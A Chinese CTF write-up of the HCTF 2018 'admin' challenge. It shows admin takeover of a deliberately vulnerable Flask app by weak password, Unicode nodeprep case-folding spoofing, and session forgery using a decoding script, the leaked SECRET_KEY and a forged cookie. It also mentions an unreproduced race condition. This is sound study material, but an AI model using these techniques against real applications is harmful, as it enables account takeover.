• [HCTF 2018]admin


    前言:

    最近在BUUCTF刷题,参照师傅们wp后复现一下

    0x01

    拿到题目后进去如下界面

    发现有登录和注册界面,想必是要登录后才能查看想要的信息。

    查看页面源代码,看看有没有上面提示,界面如下

    提示你不是admin,到这里基本上主要的方向已经有了,就是要以admin用户登录进去,才能查看到flag

    0x02

    一,弱密码

    首先尝试了一下弱密码爆破,结果成功进入,密码是123,然后成功看到flag

    二,Unicode欺骗

    假设我们不知道admin密码,或者是比较复杂的密码,然后我们注册一个用户,登录进去,发现页面如下

    post页面是发表内容的

    本来猜测会不会有注入,结果我发表内容后也没看哪里有回显,所以注入这块是不可能了,查看源码也没有得到提示信息

    还有一个change password页面,查看源码,得到如下提示

    发现题目源码,在change中发现,当修改密码的时候会判断用户名,将用户名转换为小写

    @app.route('/change', methods = ['GET', 'POST'])
    def change():
        if not current_user.is_authenticated:
            return redirect(url_for('login'))
        form = NewpasswordForm()
        if request.method == 'POST':
            name = strlower(session['name'])  #这里将用户名转换为小写
            user = User.query.filter_by(username=name).first()
            user.set_password(form.newpassword.data)
            db.session.commit()
            flash('change successful')
            return redirect(url_for('index'))
        return render_template('change.html', title = 'change', form = form)
    
    

    同样,在注册页面源代码中也发现同样的小写函数调用

    def register():
    
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = RegisterForm()
        if request.method == 'POST':
            name = strlower(form.username.data) #将注册提交的用户名小写
            if session.get('image').lower() != form.verify_code.data.lower():
                flash('Wrong verify code.')
                return render_template('register.html', title = 'register', form=form)
            if User.query.filter_by(username = name).first():
                flash('The username has been registered')
                return redirect(url_for('register'))
            user = User(username=name)
            user.set_password(form.password.data)
            db.session.add(user)
            db.session.commit()
            flash('register successful')
            return redirect(url_for('login'))
        return render_template('register.html', title = 'register', form = form)
    

    登录页面也有转换小写调用

    def login():
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = LoginForm()
        if request.method == 'POST':
            name = strlower(form.username.data)  #提交的数据转换为小写
            session['name'] = name
            user = User.query.filter_by(username=name).first()
            if user is None or not user.check_password(form.password.data):
                flash('Invalid username or password')
                return redirect(url_for('login'))
            login_user(user, remember=form.remember_me.data)
            return redirect(url_for('index'))
        return render_template('login.html', title = 'login', form = form)
    
    

    但是这里用的转小写函数不是python自带的lower函数,而是strlower函数,看来是作者自定义的函数,那么我们看看这个函数的代码

    def strlower(username):
        username = nodeprep.prepare(username)
        return username
    

    使用的是 nodeprep.prepare函数,这个函数是用Twisted模块导入,而且查看项目时发现这个项目的Twisted版本相对于当时题目发布的时间是落后的,直接尝试进行unicode编码转换小写

    其实使用nodeprep.prepare函数转换的过程就是下面这个过程

    ᴬᴰᴹᴵᴺ -> ADMIN -> admin
    

    所以我们可以注册一个ᴬᴰᴹᴵᴺ 用户,然后在登录界面的时候用了一次nodeprep.prepare函数,然后进去后界面就显示我们是ADMIN用户,然后在修改密码界面修改密码的时候,ADMIN就变成了admin,最后我们就成了修改admin的密码,然后登录admin用户

    修改密码,使用修改后的密码登录admin

    参考链接:http://sunsec.top/2018/11/15/HCTF admin/

    三,flask session伪造

    登录的时候通过抓包发现,登录的用户是有session的,那么就很自然联想到能否伪造admin的session从而登录admin的用户呢?那么前提就是要先知道flask的session是如何形成的

    flask的session机制:https://cizixs.com/2017/03/08/flask-insight-session/

    flask的session是储存在客户端中,那么就可以进行读取进而进行伪造

    客户端session安全问题:https://www.leavesongs.com/PENETRATION/client-session-security.html

    下面使用脚本将session进行解密

    #!/usr/bin/env python3
    import sys
    import zlib
    from base64 import b64decode
    from flask.sessions import session_json_serializer
    from itsdangerous import base64_decode
    
    def decryption(payload):
        payload, sig = payload.rsplit(b'.', 1)
        payload, timestamp = payload.rsplit(b'.', 1)
    
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
    
        try:
            payload = base64_decode(payload)
        except Exception as e:
            raise Exception('Could not base64 decode the payload because of '
                             'an exception')
    
        if decompress:
            try:
                payload = zlib.decompress(payload)
            except Exception as e:
                raise Exception('Could not zlib decompress the payload before '
                                 'decoding the payload')
    
        return session_json_serializer.loads(payload)
    
    if __name__ == '__main__':
        print(decryption(sys.argv[1].encode()))
    

    解密结果如下

    {'_fresh': True, '_id': b'71223133265323aadf8c1c2c8765fac0fe6eb23d3bfc3f5c72505321e222db2f8790d1d95f042f4f756cd52028787088cc8ae621d2331c49812fc47adce67341', 'csrf_token': b'75d655b165c0f29feb01dc2a5a95275eb84e506e', 'image': b'OsZa', 'name': 'admin', 'user_id': '1'}
    

    如果要伪造session需要知道SECRET_KEY,这个我们可以在项目源码中找到,在config.py中

    import os
    
    class Config(object):
        SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
        SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
        SQLALCHEMY_TRACK_MODIFICATIONS = True
    

    利用flask_session加密脚本进行伪造

    伪造的session:

    .eJxNkEFrwkAUhP9KeWcPNdGL4KGyMUR4Lygxy76LpBqTvGQtREWz4n_vVkrpYU7DDN_MA3bHvjzXMLv013IEu-YAswe8fcIMyEUDCt7R4UCydShUG72xaYx341aSqn1AmmvjFpYz7owkjhU1bNGx5EIuGaP6yS07lGTg2EuqMM0WLer1lLS5kVpZik1IGQur7YAqmZCrQlTVxAQ4MXob-HzrORxqfE-z6o6WhdSh5pg6kr0jFc3hOYL9uT_uLl9tefo3IW89-thI5FHxxpJM2eYNqmXrJ9SkoyllSUg6b1K16Sj7CHg9f9U1tqjKv6YspML8OqfCegOKg21OMILruexfv8EYnt-QEm3c.Xwkyxg.m6cjsP-TbdXQ8gv9HanF8pE_oGU
    
    

    然后登录时候修改session,即可显示flag

    四,条件竞争

    这个主要就是因为再session赋值的时候都是直接进行赋值,而并没有进行验证,也就是说,比如我们随便注册个用户123,然后进程1再使用用户123重复的进行登录,改密码操作,进程2重复进行注销登录,同时用admin用户和进程2修改的密码进行登录,然后某个时刻进程1刚好要修改密码,进程2恰好要登录,就将进程2 admin的session给了进程1,从而改掉了admin的密码

    参考链接:https://www.anquanke.com/post/id/164086#h3-13

    这里用了师傅们的脚本,但都没有成功,没找到原因,可能是脚本的编写还有些偏差,或者后期复现环境于当时比赛环境也有误差

    0x03

    复现这道题还是学到了很多新的知识,比如对于Unicode的欺骗这次又掌握的更多了,同样的内容,不同的编码形式却能绕过代码检测,很厉害,再者就是session伪造,对于flask的session伪造有了更加充分的一些认识,但是条件竞争是官方wp给出的其中一个解题方法,很遗憾没有复现成功,但是还是学到了一些知识。

  • 相关阅读:
    python中RabbitMQ的使用(远程过程调用RPC)
    python中RabbitMQ的使用(交换机,广播形式)
    python中RabbitMQ的使用(路由键模糊匹配)
    python中sys.argv[]的使用
    python中RabbitMQ的使用(路由键)
    操作远程RabbitMQ
    python中RabbitMQ的使用(工作队列)
    python中RabbitMQ的使用(安装和简单教程)
    python中eval()和json.dumps的使用
    python使用MySQLdb模块连接MySQL
  • 原文地址:https://www.cnblogs.com/Jleixin/p/13283098.html
Copyright © 2020-2023  润新知